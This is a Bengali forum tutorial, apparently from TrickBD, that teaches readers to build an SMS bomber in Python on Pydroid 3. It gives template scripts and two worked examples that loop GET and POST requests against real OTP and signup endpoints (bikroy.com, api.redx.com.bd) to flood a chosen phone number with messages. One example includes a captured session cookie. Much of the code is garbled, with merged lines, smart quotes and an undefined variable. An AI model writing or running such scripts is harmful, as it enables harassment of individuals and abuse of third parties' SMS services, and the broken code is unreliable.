আস্সালামু আলাইকুম। ট্রিকবিডি তে আপনাকে স্বাগতম জানাচ্ছি, আমি চঞ্চল । কেমন আছেন সবাই? আশা করি সবাই ভালো আছেন ।
এর আগে ট্রিকবিডি তে ৩ টা পোস্ট করেছি , ১ টা Rest Api বের করা নিয়ে , আর ২ টা এসএমএস বোম্বিং নিয়ে , অনেকেই সেই পোস্ট গুলো তে কমেন্ট করেছেন যে আপনারা নিজেরাই এসএমএস বোম্বার বানাতে চান , আর Pydroid 3 তে কিভাবে চালাতে হয় সেটা জানতে চান । আবার আমাকে কয়েক জন whatsapp, massenger এ মেসেজ দিয়েছে যে নিজে নিজে কিভাবে এসএমএস বোম্বার বানাতে হয়, Pydroid 3 তে রান করতে হয় তা নিয়ে পোস্ট লিখতে , ভিডিও দিতে , তাদের কে অসংখ্য ধন্যবাদ, আজ তাদের উদ্দেশ্যেই পোস্ট টি লেখা , আর আগেই বলে নেই , আমি পাইথন তেমন একটা পারিনা, অনলাইন থেকেই একটু শিখা, তাই হয়তো ভালো করে বোঝাতে পারবোনা, এর জন্য দুঃখিত । তো চলুন কথা না বাড়িয়ে কাজে চলে যাই। পোস্ট টি দয়া করে সম্পূর্ণ দেখবেন ।
প্রথমেই প্লে স্টোর থেকে Pydroid 3 অ্যাপ টা ডাউনলোড করে ওপেন করে নিন ।
তারপর উপরে 3 Dot মেনু থেকে Pip অপশন এ চলে যাবেন ।
তারপর ইনস্টল বার থেকে লাইব্রেরী নাম এর জায়গায় requests লিখে ইনস্টল এ ক্লিক করবেন । [ এটা শুধু প্রথম বার ইনস্টল করার পর করতে হবে, কেউ যদি Pydroid 3 ইনস্টল করে requests ইনস্টল করে থাকেন তাকে আর করতে হবে না ]
এবার স্ক্রিপ্ট লিখা :-
আমি ২ api দিয়ে দেখাবো , প্রথম টি হলো Get Method, আর দ্বিতীয় টি হলো Post Method ।
এটা গেট মেথড এর স্ক্রিপ্ট :-
import requests
from requests.structures import CaseInsensitiveDictnumber=str(input(“\n Enter Number Here :- “))
amount=int(input(“\n Enter Amount Here:- “))
api=” ”
headers=
for chanchal in range(amount):
sms=requests.get(url, headers=headers)print(str(chanchal+1)+” Send Successfully\n”)
এবার api=” “, এখানে ” ” এর ভিতরে আপনার api দিবেন ।
কিন্তু নাম্বার এর জায়গা টায় নাম্বার টা রিমুভ করে +number লিখতে হবে ।
নাম্বার যদি api এর মাঝখানে থাকে তাহলে +number+ দিতে হবে আর শেষে থাকলে শুধু +number
এবার headers এর জায়গায় api বের করার সময় পাওয়া কিছু headers দিতে হবে । headers গুলো অবশ্যই নিচের স্ক্রীন শর্ট এর মত করে দিবেন ।
একটা গেট মেথড এর উদাহরণ :-
import requests
from requests.structures import CaseInsensitiveDictnumber=str(input(“\n Enter Number Here :- “))
amount=int(input(“\n Enter Amount Here:- “))
api=”https://bikroy.com/data/phone_number_login/verifications/phone_login?phone= “+number
headers = CaseInsensitiveDict()
headers[“Host”] = “bikroy.com”
headers[“accept”] = “application/json, text/plain, */*”
headers[“accept-language”] = “bn”
headers[“user-agent”] = “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36”
headers[“application-name”] = “web”
headers[“x-requested-with”] = “mark.via.gp”
headers[“sec-fetch-site”] = “same-origin”
headers[“sec-fetch-mode”] = “cors”
headers[“sec-fetch-dest”] = “empty”
headers[“referer”] = “https://bikroy.com/bn/users/login?action=login&stack=webapp&redirect-url=/bn/users/login-options”
headers[“accept-encoding”] = “gzip, deflate”
headers[“cookie”] = “ab-test.pwa-only=reactapp”for chanchal in range(amount):
sms=requests.get(url, headers=headers)print(str(chanchal+1)+” Send Successfully\n”)
——————————————————
এবার Post Method লিখবো :-
এটা post method এর স্ক্রিপ্ট :-
import requests
from requests.structures import CaseInsensitiveDictnumber=str(input(“\n Enter Number Here :- “))
amount=int(input(“\n Enter Amount Here:- “))
api=” ”
headers=
data=
for chanchal in range(amount):
sms=requests.post(url, headers=headers, data=data)print(str(chanchal+1)+” Send Successfully\n”)
এবার ও api এর জায়গায় পোস্ট মেথড এর api টি দিবেন । পোস্ট মেথড এ url এর ভিতরে নাম্বার থাকেন জার কারণে get method এর মত এডিট করতে হয় না । শুধু data টা এডিট করতে হয় ।
এবার উপরের মতোই headers গুলো headers এর জায়গায় দিয়ে দিন ।
এবার data এর নাম্বার এর জায়গায় নাম্বার টা রিমুভ করে ” +number ” দিয়ে দিন ।
একটা পোস্ট মেথড এর উদাহরণ :-
import requests
from requests.structures import CaseInsensitiveDictnumber=str(input(“\n Enter Number Here :- “))
amount=int(input(“\n Enter Amount Here:- “))
api = “https://api.redx.com.bd/v1/user/signup”
headers = CaseInsensitiveDict()
headers[“Host”] = “api.redx.com.bd”
headers[“user-agent”] = “Mozilla/5.0 (Linux; Android 11; CPH2239) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36”
headers[“Content-Type”] = “application/json”
headers[“accept”] = “application/json, text/plain, */*”
headers[“save-data”] = “on”
headers[“sec-ch-ua-platform”] = “Android”
headers[“origin”] = “https://redx.com.bd”
headers[“sec-fetch-site”] = “same-site”
headers[“sec-fetch-mode”] = “cors”
headers[“sec-fetch-dest”] = “empty”
headers[“referer”] = “https://redx.com.bd/”
headers[“accept-encoding”] = “gzip, deflate, br”
headers[“accept-language”] = “en-US,en;q=0.9,bn;q=0.8”
headers[“cookie”] = “_hjSession_2064965=eyJpZCI6IjZiYTY0YTNjLTFmMzQtNGQ0MC1iZDE3LTJkM2U4YTE5NjYwNSIsImNyZWF0ZWQiOjE2NzI1NDUwNDY2ODMsImluU2FtcGxlIjpmYWxzZX0=”data = ”
{
“name”: ” “+number” “,
“phoneNumber”: ” “+number ” “,
“service”: “redx”
}
”for chanchal in range(amount):
sms=requests.post(api, headers=headers, data=data)print(str(chanchal+1)+” Send Successfully\n”)
এই ২ টা api ঠিক কাজ করবে কি না জানিনা , কারণ এগুলো কিছুদিন আগের । আপনারা নতুন api দিয়ে বানাবেন ।
তো আজ এই পর্যন্তই , সবাই সুস্থ থাকুন , ট্রিকবিডির সাথেই থাকুন । কোনো সমস্যা হলে আমায় মেসেজ দিতে পারেন TUNTUNI H4X0R
আর আমার এক ছোট ইউটিউব চ্যানেল আছে, সেখানে আমার পোস্ট এর ভিডিও গুলো শেয়ার করবো , আপনাদের কাছে একটা অনুরোধ রইলো চ্যানেল টা সাবস্ক্রাইব করার । আমার চ্যানেল এর লিঙ্ক Little Haxor